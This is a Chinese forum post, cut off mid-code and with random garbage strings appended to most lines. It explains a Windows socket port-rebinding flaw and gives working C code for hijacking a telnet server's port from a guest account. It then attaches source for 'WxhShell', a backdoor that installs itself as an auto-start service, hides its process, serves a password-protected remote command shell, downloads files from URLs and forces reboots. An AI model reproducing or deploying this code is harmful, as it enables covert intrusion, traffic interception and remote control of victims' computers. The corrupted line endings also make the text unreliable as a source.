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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: (JZ".En#X  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); v 81rfB5  
'gTmH[be  
  saddr.sin_family = AF_INET; NPJ.+ph  
(6qsKX  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); f&I7,"v  
@.$MzPQQI  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); );JJ2Jlkd  
TSto9 $}*  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 .[j%sGdKl  
v'9m7$  
  这意味着什么?意味着可以进行如下的攻击: AK/:I>M  
wK*PD&nN  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]0 ~qi@  
bBE+jqi 2  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Y1\K;;X  
=_-C%<4  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 j\2[H^   
p@I9< ^"  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  >Y&KTSD"  
U{#xW  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 iuAq.$oi{  
\{v,6JC  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ; B$ *)X9  
L.)yXuo4  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 >)c9|e=8  
:5# V^\3*  
  #include ]b1Li}  
  #include .Q\\dESn"  
  #include Pes =aw  
  #include    'mV:@].le  
  DWORD WINAPI ClientThread(LPVOID lpParam);   VifmZ;S@Y  
  int main() MOHHZApt  
  { ^.HWkS`e  
  WORD wVersionRequested; c> ~:dcy  
  DWORD ret; n0fRu`SNV  
  WSADATA wsaData; JAP (|  
  BOOL val;  WL-0(  
  SOCKADDR_IN saddr; 8(lCi$  
  SOCKADDR_IN scaddr; Lb~\Y n'z  
  int err; {bkGYx5.C  
  SOCKET s; rc{o?U'^-  
  SOCKET sc; !$>G# +y  
  int caddsize; Zu#<  
  HANDLE mt; Ay$>(;  
  DWORD tid;   80&D""  
  wVersionRequested = MAKEWORD( 2, 2 ); "$)yB  
  err = WSAStartup( wVersionRequested, &wsaData ); lB:l)!]||=  
  if ( err != 0 ) { J(9=T<%T  
  printf("error!WSAStartup failed!\n"); p_6P`Yx^e  
  return -1; kL;t8{n  
  } {ymb\$f  
  saddr.sin_family = AF_INET; CeW7Ym  
   p":zrf'(6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^H=o3#P~L  
hyu}}0:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 4iBxPo(0  
  saddr.sin_port = htons(23); !~J WYY  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W_JhNe  
  { O/9fuEF  
  printf("error!socket failed!\n"); Xb<)LHA~3  
  return -1; gWu"91Y0>  
  } *l!5QG UoK  
  val = TRUE; g i4  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 (02g#A`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) E fSMFPM  
  { yN:>!SQ  
  printf("error!setsockopt failed!\n"); </ZHa:=7  
  return -1; Qp+lJAY  
  } q/'MS[C  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; v" FO  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 yJJ8 "s~i  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 X_?%A54z?  
A-0m8<  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) P"Rk?lL  
  { /Ynt<S9"  
  ret=GetLastError(); z7q%,yw3N  
  printf("error!bind failed!\n"); (xUFl@I!  
  return -1; SALCuo"L  
  } { _X#fq0}  
  listen(s,2); C yf]`*  
  while(1) 3@HIpQM3  
  { Pz {Ig  
  caddsize = sizeof(scaddr); e7|d=W  
  //接受连接请求 0UjyMEiK  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Q)dT(Td9~  
  if(sc!=INVALID_SOCKET) 8A_TIyh?  
  { )"~=7)~<^  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); V"g~q?@F  
  if(mt==NULL) R `Q?J[e  
  { k4mTZ}6E  
  printf("Thread Creat Failed!\n"); _z%\'(l+  
  break; rgn|24x  
  } {~1M  
  } P^;WB*V  
  CloseHandle(mt); S41)l!+2  
  } f#c BQ~  
  closesocket(s); STRyW Ml  
  WSACleanup(); ZjavD^ky  
  return 0; Esa6hU#  
  }   VY{,x;O`  
  DWORD WINAPI ClientThread(LPVOID lpParam) nOr"K;C  
  { -;S3|  
  SOCKET ss = (SOCKET)lpParam; .m'N7`VB  
  SOCKET sc; c8\g"T  
  unsigned char buf[4096]; L]NYYP-  
  SOCKADDR_IN saddr; 3H <`Z4;  
  long num; |{!Ns+'  
  DWORD val; o HRbAE^  
  DWORD ret;  qKx59  
  //如果是隐藏端口应用的话,可以在此处加一些判断 lmp R>@o"  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !$XO U'n  
  saddr.sin_family = AF_INET; G`WzJS*}v  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #nDL  
  saddr.sin_port = htons(23); yEnKUo[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2}@*Ki7  
  { KK .cDAR  
  printf("error!socket failed!\n"); WMA*.$Zi  
  return -1; `|NevpXY1  
  } LA>dkPB  
  val = 100; A1 b6Zt  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ; ?j~8  
  { qG*_w RF  
  ret = GetLastError(); fl!1AKSn@N  
  return -1; :.C)7( 8S  
  } N~0$x,bR  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) GZ.?MnG  
  { \O,j}O'  
  ret = GetLastError(); uRs9}dzv  
  return -1; 81cv:|"  
  } L1:}bH\y  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 5 u"nxT   
  { v.]'%+::#  
  printf("error!socket connect failed!\n"); '> 4+WZ1w5  
  closesocket(sc); +-",2 d+g  
  closesocket(ss); 8Q)y%7 {6  
  return -1; ?n73J wH  
  } Hv+:fr"  
  while(1) [lrmuf  
  {  !zF4 G,W  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 UU-v;_oP  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 }v,W-gA  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 yqC+P  
  num = recv(ss,buf,4096,0); WMRYT"J?N]  
  if(num>0) 8UlB~fVg  
  send(sc,buf,num,0); YDdLDE  
  else if(num==0) ^JiaR)#r  
  break; ByC1I.B`  
  num = recv(sc,buf,4096,0); C-_w]2MM  
  if(num>0) aB7d(  
  send(ss,buf,num,0); _TV2)  
  else if(num==0) U8Cw7u2  
  break; pC55Ec<  
  } zl,bMtQ  
  closesocket(ss); U_.n=d~B  
  closesocket(sc); 56VE[G  
  return 0 ; e=YO.HT  
  } `*|LI  
H@Kl  
zvWO4\  
========================================================== zS,%msT^A  
44g`=o@  
下边附上一个代码,,WXhSHELL ^?81.b|qb  
!Q<8c =f  
========================================================== Fwg#d[:u  
mw2rSUI{  
#include "stdafx.h" ZY~zpC_  
_D!M nTK  
#include <stdio.h> qT&S  
#include <string.h> kJVM3F%  
#include <windows.h> eimA *0Cq  
#include <winsock2.h> pqRO[XEp2  
#include <winsvc.h> "`y W]v  
#include <urlmon.h>  m,xy4  
,dGFX]P  
#pragma comment (lib, "Ws2_32.lib") pQ4 %]Api  
#pragma comment (lib, "urlmon.lib") x)%% 5  
eYnLZ&H5O  
#define MAX_USER   100 // 最大客户端连接数 k4]R]=Fh.  
#define BUF_SOCK   200 // sock buffer +5N^TnBtBL  
#define KEY_BUFF   255 // 输入 buffer KzxW?Ji$S  
H@ 1[SKBl  
#define REBOOT     0   // 重启 !W(/Y9g#  
#define SHUTDOWN   1   // 关机 e2,<,~_K6  
\emT:Frb  
#define DEF_PORT   5000 // 监听端口 ;D %5 nnr  
oxxE'cx{g  
#define REG_LEN     16   // 注册表键长度 :*^(OnIe  
#define SVC_LEN     80   // NT服务名长度 l{B< "+8  
)dUd`g  
// 从dll定义API 2_B;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); PprQq_j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vr8J*36{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,3g]= f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q(w1VcLZ  
}0(vR_x  
// wxhshell配置信息 N6-2*ES  
struct WSCFG { D0,oml  
  int ws_port;         // 监听端口 }bj,&c  
  char ws_passstr[REG_LEN]; // 口令 kM6 EZ`mj  
  int ws_autoins;       // 安装标记, 1=yes 0=no SF78 s:_!_  
  char ws_regname[REG_LEN]; // 注册表键名 :BC<+T=  
  char ws_svcname[REG_LEN]; // 服务名 oj,Vi-TZ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -wG[>Y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \&l*e  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4#'^\5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6c;?`C  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'T #<OR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^5^ zo~^o  
TZ`]#^kU  
}; )%nt61P\W  
&B{Jxc`VA  
// default Wxhshell configuration reD[j,i&t.  
struct WSCFG wscfg={DEF_PORT, f%(e,KgW=  
    "xuhuanlingzhe", \?p9qR;"4  
    1, h}c6+@w&-  
    "Wxhshell", @$N*lrM2  
    "Wxhshell", */fs.G:P  
            "WxhShell Service", v/4X[6(  
    "Wrsky Windows CmdShell Service", QWIOim-  
    "Please Input Your Password: ", 7Vof7Y <  
  1, @EH4N%fH  
  "http://www.wrsky.com/wxhshell.exe", PN)TX~}  
  "Wxhshell.exe" 4w3V!K8  
    }; ]h`E4B  
 9\W5   
// 消息定义模块 ~-o^eI4_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s OrY^cY;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~ 33@H  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; t9=|* =;9)  
char *msg_ws_ext="\n\rExit."; }I'>r(K  
char *msg_ws_end="\n\rQuit."; q>Ar.5&M_  
char *msg_ws_boot="\n\rReboot..."; 55jY` b .  
char *msg_ws_poff="\n\rShutdown..."; !:!@dC%8_  
char *msg_ws_down="\n\rSave to "; ix_$Ok  
LRLhS<9  
char *msg_ws_err="\n\rErr!"; uDMUy"8&!  
char *msg_ws_ok="\n\rOK!"; B'[3kJ'  
&_Xv:?  
char ExeFile[MAX_PATH];  nd*!`P  
int nUser = 0; 3GuMiht5  
HANDLE handles[MAX_USER]; Y/Gswcz  
int OsIsNt; !x!L&p  
P PIG?fK)  
SERVICE_STATUS       serviceStatus; J6?_?XzToT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; lk *QV  
+{l3#Y  
// 函数声明 z|4@nqqX  
int Install(void); >GF(.:7  
int Uninstall(void); tz \:r>3vI  
int DownloadFile(char *sURL, SOCKET wsh); EJSgTtp 2  
int Boot(int flag); ^FpiQF  
void HideProc(void); =[CS2VQ'  
int GetOsVer(void); jP{]LJ2.6\  
int Wxhshell(SOCKET wsl); <:_]Yl  
void TalkWithClient(void *cs); l{7Dv1[Ss  
int CmdShell(SOCKET sock); *U[Q=w  
int StartFromService(void); PrYWha=c-  
int StartWxhshell(LPSTR lpCmdLine); bNPjefBF  
Wb-'E%K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); '~vSH9nx/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1:~m)"?I_^  
p<^/T,&I  
// 数据结构和表定义 f<t*#]<  
SERVICE_TABLE_ENTRY DispatchTable[] = ^9m]KEucd7  
{ :_b =Km<  
{wscfg.ws_svcname, NTServiceMain}, 'E6gEJ  
{NULL, NULL} xhoLQD  
}; 5|B(K @<  
2 ShlYW@~  
// 自我安装 ~bm2_/RL  
int Install(void) $>*/']>  
{ `^4>^  
  char svExeFile[MAX_PATH]; uq1(yyWp(  
  HKEY key; }A&Xxh!Fwo  
  strcpy(svExeFile,ExeFile); i|! 9o:  
sMe~C>RD  
// 如果是win9x系统,修改注册表设为自启动 onypwfIk)t  
if(!OsIsNt) { GlkAJe]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pU)3*9?cIl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !j\&BAxTEk  
  RegCloseKey(key); QH? 2v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eRWF7`HH+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ss#{K;  
  RegCloseKey(key); JqV<A3i  
  return 0; J*4_|j;Z-E  
    } Nv$gKC6 ,G  
  } 0:(dl@I)@  
} LW8{a&  
else { "u$ ]q1S  
+sq, !6#G  
// 如果是NT以上系统,安装为系统服务 >C d&K9H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #(wz l  
if (schSCManager!=0) #Ew eG^!#  
{ 'rx,f  
  SC_HANDLE schService = CreateService 1*`JcUn,>  
  ( #z54/T  
  schSCManager, 4O,a`:d1$6  
  wscfg.ws_svcname, PI<s5bns {  
  wscfg.ws_svcdisp, ,i((;/O6  
  SERVICE_ALL_ACCESS, j*lWi0Z-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w"Y55EURB  
  SERVICE_AUTO_START, zyQEz#O   
  SERVICE_ERROR_NORMAL, ~$&r(9P  
  svExeFile, |k9j )Hg(  
  NULL, s/'hLkxI  
  NULL, Qmh(+-Mp(  
  NULL, )k<~}wvQ0  
  NULL, =+#RyV  
  NULL 3<Y;mA=hw  
  ); sn-+F%[  
  if (schService!=0) KKTfxNxJn  
  { {(:)  
  CloseServiceHandle(schService); .`8,$"`4)  
  CloseServiceHandle(schSCManager); Ku\#Wj|YrP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9%'HB\A  
  strcat(svExeFile,wscfg.ws_svcname); N`GwL aF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &=t(NI$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {qdhp_~^l  
  RegCloseKey(key); -VT?/=Y s  
  return 0; _A0avMD}  
    } |4*2xDcl  
  } kFs kn55  
  CloseServiceHandle(schSCManager); UDqKF85H  
} H {Wpf9_ K  
} #a>!U'1|  
K`83C`w.  
return 1; P\4o4MF@K  
} +P;D}1B#I?  
Vt2=rD4oJk  
// 自我卸载 lcJumV=%>  
int Uninstall(void) +OP:"Q_#  
{ Z8_gI[Zn  
  HKEY key; :1  
&!aLOx*3`  
if(!OsIsNt) { +}Wo=R}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yX Q;LQ;  
  RegDeleteValue(key,wscfg.ws_regname); *LQY6=H  
  RegCloseKey(key); <(lSNGv5N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J0 z0%p   
  RegDeleteValue(key,wscfg.ws_regname); ">^]^wa08  
  RegCloseKey(key); S#z8H+'  
  return 0; 2gI_*fG1  
  } E|#R0n*  
} q`K-T _<  
} M|]1}8d?  
else {  &\br_  
$7 Uk;xV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); HWAqJb [  
if (schSCManager!=0) oYM3$.{E  
{ oD2;Tdk  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &_^<B7aC'k  
  if (schService!=0) W{/z-&  
  { $ T_EsnN  
  if(DeleteService(schService)!=0) { { qx,X.5$  
  CloseServiceHandle(schService); 6?x{-Zj ^?  
  CloseServiceHandle(schSCManager); vrDRSc6_  
  return 0; K1WoIv<Ym  
  }  -KiS6$-  
  CloseServiceHandle(schService); @z RB4d$  
  } 4}FfHgpQ  
  CloseServiceHandle(schSCManager); +Y[+2=lO  
} 0'}?3/u-  
} ==r|]~x  
NX",e=  
return 1; !\ukb  
} 6-YR'ikU  
Wm&f+{LO+K  
// 从指定url下载文件 +# >%bq x  
int DownloadFile(char *sURL, SOCKET wsh) P!ICno6[e  
{ . +?lID  
  HRESULT hr; ;MI<J>s  
char seps[]= "/"; \Y 4Z Q"0Q  
char *token; X'4 Yofs  
char *file; ]V("^.~$+C  
char myURL[MAX_PATH]; RN| ..zml  
char myFILE[MAX_PATH]; @z q{#7%z  
8{<cqYCR  
strcpy(myURL,sURL); 1uQf}  
  token=strtok(myURL,seps); H)+kN'J  
  while(token!=NULL) Br!&Y9  
  { JOq<lb=  
    file=token; Q^Z}Y~.  
  token=strtok(NULL,seps); .AW*7Pp`f  
  } 9Q1GV>j>B  
YTit=4|  
GetCurrentDirectory(MAX_PATH,myFILE); _x{x#d;L3  
strcat(myFILE, "\\"); +yI^<BH  
strcat(myFILE, file); 8PS:yBkA|  
  send(wsh,myFILE,strlen(myFILE),0); O+J;Hp;\_  
send(wsh,"...",3,0); 0GVok$r@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v[ '5X  
  if(hr==S_OK) JwczE9~o  
return 0; ?@(H. D6'v  
else DyZ90]N  
return 1; %Q~Lk]B?t  
::`wx@  
} 0E[Se|!  
va;wQ~&  
// 系统电源模块 qZ }XjL  
int Boot(int flag) N|LVLsK  
{ .>&fwG  
  HANDLE hToken; ".ZiR7Z:$Y  
  TOKEN_PRIVILEGES tkp; uoHhp4>^  
vsR ^aVwVZ  
  if(OsIsNt) { LeCU"~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U:e9Vq'N m  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); b2%[9) "I.  
    tkp.PrivilegeCount = 1; h`j gF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /XB1U[b  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0xcqX!(  
if(flag==REBOOT) { b4ivWb|`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1hG O*cq!  
  return 0; BI]t}7  
} WG{/I/bJ_  
else { mio'm  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9@B+$~:}7  
  return 0; 2[hl^f^%,  
} OpE+e4~IF  
  } (?[cDw/{J:  
  else { m`"s$\fah  
if(flag==REBOOT) { KA#-X2U/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Hkt'~ L*   
  return 0; ]0le=Ee^%  
} Mw. +0R!T  
else { w%\;|y4+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ZZ5yu* &  
  return 0; 78-:hk  
} quYZD6IH  
} s#[Ej&2[=  
'*; rm*n  
return 1; ~s_$a8  
} ^B9wmxe  
|9 3%,  
// win9x进程隐藏模块 wP9C\W;  
void HideProc(void) '=@x2`U/  
{ NU[{oI<a  
BoqW;SG$9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); IuF-bxA  
  if ( hKernel != NULL ) @Q!j7I  
  { :u0433z:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =I1@O9}+i  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jp]JF h;3  
    FreeLibrary(hKernel); AtOB'=ph*  
  } < lrw7T  
)J0VB't  
return; t;'.D @  
} _HQa3wj  
@:I/lg=Qd  
// 获取操作系统版本 M{QNpoM  
int GetOsVer(void) HPQ,tlp6j  
{ @\R)k(F  
  OSVERSIONINFO winfo; ^-_!:7TH]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (XH)1 -Z!  
  GetVersionEx(&winfo); f@mM&e=f  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `ijX9c  
  return 1; b4wJnmC8  
  else LzfLCGA^  
  return 0; =`U[{3A_  
} Cu]X &l  
n'H\*9t  
// 客户端句柄模块 L%"Mp(gZ  
int Wxhshell(SOCKET wsl) "e"`Or  
{ S}/CzQ  
  SOCKET wsh; S}E@*t2 h  
  struct sockaddr_in client; +}Pa/8ybJ  
  DWORD myID;  2~)]E#9  
,3j*D+  
  while(nUser<MAX_USER) THJ+OnP  
{ _xUXt)k  
  int nSize=sizeof(client); UPC& O  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); K&*FI (a  
  if(wsh==INVALID_SOCKET) return 1; &g`a [#  
pqK3u)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u$"5SGI6  
if(handles[nUser]==0) v\c3=DbO  
  closesocket(wsh); khfE<<$=  
else or<JjTJ\o_  
  nUser++; i/L1KiCLx  
  } hmo?gD<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); LtQy(F%8/  
u+9Mc u"  
  return 0; |]Xw1.S.L  
} d~8Q)"6 [  
wK_}`6R/  
// 关闭 socket CHz(wn  
void CloseIt(SOCKET wsh) L8fr uwb  
{ i469<^A  
closesocket(wsh); f19 i !  
nUser--; 9`muk  
ExitThread(0);  ;P_Zen  
} jd{J3s '%  
]~P?  
// 客户端请求句柄 @lX)dY  
void TalkWithClient(void *cs) 9pgct6BO  
{ 0[];c$r<  
uFqH_04  
  SOCKET wsh=(SOCKET)cs; BSz\9 eT  
  char pwd[SVC_LEN]; Wac8x%J  
  char cmd[KEY_BUFF]; -=RXhE_{  
char chr[1]; 2g$Wv :E3  
int i,j; K6X1a7  
gLH(Wr~(a  
  while (nUser < MAX_USER) { NJp;t[v.^  
FueJe/~t  
if(wscfg.ws_passstr) { tL~|/C)d R  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D7%89qt  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [{ pc1U-  
  //ZeroMemory(pwd,KEY_BUFF); BK{8\/dg  
      i=0; ihnM`TpMJ  
  while(i<SVC_LEN) { (_T&2%  
~(8A&!#,!  
  // 设置超时 8C2t0u;Y .  
  fd_set FdRead; s|%</fMt9  
  struct timeval TimeOut; SnqLF /d  
  FD_ZERO(&FdRead); Cur) |  
  FD_SET(wsh,&FdRead); 6$f,DU  
  TimeOut.tv_sec=8; qr@,92_  
  TimeOut.tv_usec=0; Czp:y8YX-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); uxcj3xE#d  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8+gn Wy  
r,}Zc W+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Hq9(6w9w  
  pwd=chr[0]; iT%UfN/q=I  
  if(chr[0]==0xd || chr[0]==0xa) { 1/n3qJyx2}  
  pwd=0; s0:1G -I  
  break; ,d7@*>T&  
  } !CWqI)=  
  i++; Cw_<t  
    } R[V%59#{Z  
}S&{ &gh  
  // 如果是非法用户,关闭 socket CUG6|qu  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); q8oEb  
} ZG>OT@ GA  
0,c z&8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ji2#O.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oGM.{\i  
FKQnz/  
while(1) { u4 "+u"{d  
jsR1jou6  
  ZeroMemory(cmd,KEY_BUFF); \Q6Ip@?  
W1OGN4`C  
      // 自动支持客户端 telnet标准   (|x->a  
  j=0; DW-LkgfA  
  while(j<KEY_BUFF) { '>6-ie^0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L.R  
  cmd[j]=chr[0]; u/zC$L3B(  
  if(chr[0]==0xa || chr[0]==0xd) { Y /+ D4^ L  
  cmd[j]=0; p.%$  
  break; bHP-Z9riv  
  } ;f><;X~KX  
  j++; *0U(nCT&m  
    } U +]ab  
2/~v  
  // 下载文件 i ]_fhC  
  if(strstr(cmd,"http://")) { a'\`Mi@rb  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); i~2>kxf;K1  
  if(DownloadFile(cmd,wsh)) t@Jo ?0s  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ``SjALf  
  else \u*,~J)z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !y),| #7P  
  } %:y-"m1\u$  
  else { YMWy5 \  
h{m]n!  
    switch(cmd[0]) { YT_kMy>  
  &F:7U!  
  // 帮助 f`cz @  
  case '?': { |\ ay^@N  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); NlDM/  
    break; \)v.dQ!  
  } ]D%[GO//!  
  // 安装 !nu['6I%  
  case 'i': { i2*nYd`K  
    if(Install()) /L~*FQQK>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M}c_KFMV  
    else $xl*P#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); " JRlj  
    break; WULj@ds\~  
    } $^l=#tV  
  // 卸载 &a0%7ea`.S  
  case 'r': { i.< }X  
    if(Uninstall()) '%MIG88  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); brFOQU?  
    else 6!'yU=Z`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6R<%. -qr  
    break; A +p}oY '  
    } P8EGd}2{8  
  // 显示 wxhshell 所在路径 mZ5UaSG  
  case 'p': { *be+x RY  
    char svExeFile[MAX_PATH]; ug{F?LW[  
    strcpy(svExeFile,"\n\r"); 2c~^|@   
      strcat(svExeFile,ExeFile); ux }DWrR  
        send(wsh,svExeFile,strlen(svExeFile),0); dlU=k9N-  
    break; UX0tI0.tg  
    } C }[u[)  
  // 重启  2AluH8X/  
  case 'b': { ufo?ZFq@$L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qdm!]w.G5  
    if(Boot(REBOOT)) w\M_3}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q&M;rIo?  
    else { Vg3&:g5 /  
    closesocket(wsh); (tz! "K  
    ExitThread(0); x4. #_o&  
    } $~-j-0 \m  
    break; CV6H~t'1  
    } 6nwO:?1o9  
  // 关机 md_Ld /  
  case 'd': { J@5 OZFMZ  
